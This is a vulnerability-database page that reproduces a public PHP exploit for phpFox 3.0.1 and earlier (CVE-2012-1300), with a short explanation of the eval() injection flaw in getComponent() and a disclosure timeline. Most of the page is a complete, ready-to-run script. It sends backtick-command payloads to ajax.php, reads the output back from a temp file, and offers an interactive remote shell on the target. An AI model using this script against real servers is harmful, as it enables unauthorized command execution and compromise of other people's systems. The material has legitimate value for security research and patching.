Lucene search
K

phpFox <= 3.0.1 (ajax.php) Remote Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 36 Views

phpFox <= 3.0.1 Remote Command Execution Exploit by Egi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
phpFox <= 3.0.1 (ajax.php) Remote Command Execution Exploit
23 Mar 201200:00
zdt
Dsquare
phpFox RCE
26 Mar 201200:00
dsquare
Exploit DB
PHPFox 3.0.1 - &#039;ajax.php&#039; Remote Command Execution
23 Mar 201200:00
exploitdb
exploitpack
PHPFox 3.0.1 - ajax.php Remote Command Execution
23 Mar 201200:00
exploitpack
Packet Storm
phpFox 3.0.1 Remote Command Execution
23 Mar 201200:00
packetstorm

                                                &#60;?php

/*
    -----------------------------------------------------------
    phpFox &#60;= 3.0.1 (ajax.php) Remote Command Execution Exploit
    -----------------------------------------------------------
    
    author.............: Egidio Romano aka EgiX
    mail...............: n0b0d13s[at]gmail[dot]com
    software link......: http://www.phpfox.com/
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] vulnerable code in Phpfox_Module::getComponent() method defined into /include/library/phpfox/module/module.class.php
    
	716.			$aParts = explode(&#39;.&#39;, $sClass);
	717.			$sModule = $aParts[0];		
	718.			$sComponent = $sType . PHPFOX_DS . substr_replace(str_replace(&#39;.&#39;, PHPFOX_DS, $sClass), &#39;&#39;, 0, strlen($sModule . PHPFOX_DS));
	...
	748.			if (preg_match(&#39;/(.*?)\((.*?)\)/&#39;, $sComponent, $aMatches) && !empty($aMatches[2]))
	749.			{
	750.				eval(&#39;$aParams = array_merge($aParams, array(&#39; . $aMatches[2] . &#39;));&#39;);
	751.	
	752.				$sComponent = $aMatches[1];		
	753.				$sClass = $aMatches[1];			
	754.			}
	
	This method uses its $sClass parameter  to construct the $sComponent variable that might  be used to inject and execute	semi-arbitrary
	PHP code in a eval() call at line 750.  Due to $sClass parameter is &#34;explode()d&#34; by dots at line 716 andto satisfy  the regex  at line
	748,  isn&#39;t possible to inject code  which contains dots  or  parentheses,  but is still possible to inject semi-arbitrary OS commands
	leveraging of PHP&#39;s backtick operator.  Input passed  through $_POST[core][call]  (or $_POST[phpfox][call] in v2)  to /static/ajax.php
	is passed to getComponent()	method as $sClass parameter.
	
    [-] Disclosure timeline:
	
	[07/02/2012] - Vulnerability discovered
	[09/02/2012] - Vendor notified through http://www.phpfox.com/contact/
	[24/02/2012] - CVE number requested
	[27/02/2012] - Assigned CVE-2012-1300
	[27/02/2012] - Vendor update released: http://www.phpfox.com/blog/v2-1-0-build-3-v3-0-1-build-3-released/
	[23/03/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;, 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die(&#34;\n[-] No response from {$host}:80\n&#34;);
    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print &#34;\n+----------------------------------------------------------+&#34;;
print &#34;\n| phpFox &#60;= 3.0.1 Remote Command Execution Exploit by EgiX |&#34;;
print &#34;\n+----------------------------------------------------------+\n&#34;;

if ($argc &#60; 3)
{
    print &#34;\nUsage......: php $argv[0] &#60;host&#62; &#60;path&#62;\n&#34;;
    print &#34;\nExample....: php $argv[0] localhost /&#34;;
    print &#34;\nExample....: php $argv[0] localhost /phpfox/\n&#34;;
    die();
}

list($host, $path) = array($argv[1], $argv[2]);

$r_pack  = &#34;GET {$path}static/tmp HTTP/1.0\r\n&#34;;
$r_pack .= &#34;Host: {$host}\r\n&#34;;
$r_pack .= &#34;Connection: close\r\n\r\n&#34;;

$packet  = &#34;POST {$path}static/ajax.php?do=/ad/complete/ HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Content-Length: %d\r\n&#34;;
$packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet .= &#34;X_REQUESTED_WITH: XMLHttpRequest\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n%s&#34;;

while(1)
{
    print &#34;\nphofox-shell# &#34;;
    if (($cmd = trim(fgets(STDIN))) == &#34;exit&#34;) break;
	else if (preg_match(&#39;/\./&#39;, $cmd)) print &#34;\nDots not allowed!\n&#34;;
	else if (preg_match(&#39;/\)/&#39;, $cmd)) print &#34;\nParenthesis not allowed!\n&#34;;
	else
	{
		$payload = &#34;core[call]=.(`{$cmd}&#62;tmp`).&#34;;
		http_send($host, sprintf($packet, strlen($payload), $payload));
		$output = http_send($host, $r_pack);
		!preg_match(&#39;/404 not/i&#39;, $output) && preg_match(&#39;/\n\r\n(.*)/s&#39;, $output, $m) ? print $m[1] : die(&#34;\n[-] Exploit failed!\n&#34;);
	}
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation